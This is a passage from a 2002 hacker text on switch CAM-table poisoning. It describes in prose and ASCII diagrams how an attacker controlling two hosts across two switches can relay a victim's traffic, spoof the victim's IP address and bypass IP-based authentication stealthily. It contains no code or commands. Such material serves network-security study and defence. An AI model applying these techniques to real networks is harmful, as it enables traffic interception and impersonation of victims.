3.3.3 Man in the Middle A man-in-the-middle attack is still possible, although I haven't tested it. When our victim (10.0.0.2) tries to connect to the redirected host (10.0.0.1) we can keep the data in a buffer and then reset the switch port using a broadcasted ARP request destined to 10.0.0.1 of the system we impersonate. When that system replies, the switch will update it's CAM table and we can send the data in the buffer to 10.0.0.1, we wait for response and store it in the buffer, then we re-redirect the traffic of 10.0.0.1 to us again and send the data in the buffer to the victim, and so on. See the figure below for the illustration of the situation. 10.0.0.1 10.0.0.2 |--------| |----------| |--------| | target |--------| switch |--------| victim | |--------| |----------| |--------| | | 10.0.0.3 |----------| | attacker | |----------| The method does not seem very reliable, it will atleast be slow and can result in timeouts. Also, if 10.0.0.1 starts to talk while the victim is sending data to us the switch may update the table and packets may arrive at 10.0.0.1 causing 10.0.0.1 to send connection resets and the attacker must restore the redirection state again etc. { Not that connection resets will kill our connection, but then we must regain the redirection state while 10.0.0.1 is sending packets. } In the phrack article the author(s) mention this idea for man-in-the-middle attack and they too think it is not very reliable. However, I think it is possible to make a reliable man-in-the-middle attack in some cases. I have searched google to see if anyone else has found a reliable technique to do this but came up with nothing. So here it goes: The problem we faced when redirecting traffice to 10.0.0.1 is that we need to constantly reset/redirect the traffic in the switch. In some scenario's though, it is possible to make a man-in-the-middle attack without having to reset the switch, just keep it redirected. I will illustrate a scenario where we have a victim named `victim' that wants to connect to a host named `server', here's the drawing: 10.0.0.4 ++++++++++++ + BOX 2 + ++++++_+++++ 10.0.0.1 | 10.0.0.2 ++++++++++ ++++++^+++++ ++++++++++++ ++++++++++ + server [----] switch 1 [----] switch 2 [----] victim + ++++++++++ ++++++++++++ ++++++_+++++ ++++++++++ | ++++++^+++++ + BOX 1 + ++++++++++++ 10.0.0.3 [ BOX 1 and 2 are owned by the attacker ] This illustration looks better huh :>. Now, I know this situation will not often be there, but say that the attacker owns BOX 1, connected to switch 2 and he owns BOX 2 connected to switch 1. What does this situation help in a man-of-the middle? Well, it solves our problem. We create a tool that poisons the lookup table of switch 2 to redirect all traffic destined to host 10.0.0.1 (server) to our BOX 1. BOX 1 has a TCP connection with BOX 2 that runs the other end of the hacker's program. As soon as victim tries to connect to server the traffic redirects to BOX 1, BOX 1 sends the data received from victim over a TCP connection to BOX 2 (along with details of destination port etc. using a custom protocol). BOX 2 connects to server (10.0.0.1) on the exact same port that host 10.0.0.2 (victim) wanted to and sends the data it received from BOX 1 over the connection. BOX 2 receives the reply from the server (10.0.0.1) and communicates this over to BOX 1 which in turn communicates it to victim (10.0.0.2). This may look very complex, but it is not. The only difference between this situation and the one discussed before is that we now have two switches and two hosts owned by the attacker. Instead of one gateway we use two hosts to form one gateway or you could say we have two gateways now. In this way in this scenario we don't have to reset switch 2 all the time. The method is quite reliable. To make the above method more stealth the hacker can also redirect victim's address (10.0.0.2) to BOX 2 (10.0.0.4) at switch 1 to make a fully-spoofed connection, the address `10.0.0.2' shows up in the server's logs and we can circumvent any extra IP-address based authentication. Isn't that wonderful! This technique is very stealth and probably pretty reliable and fast. (c) 2002 detach at hackaholic.org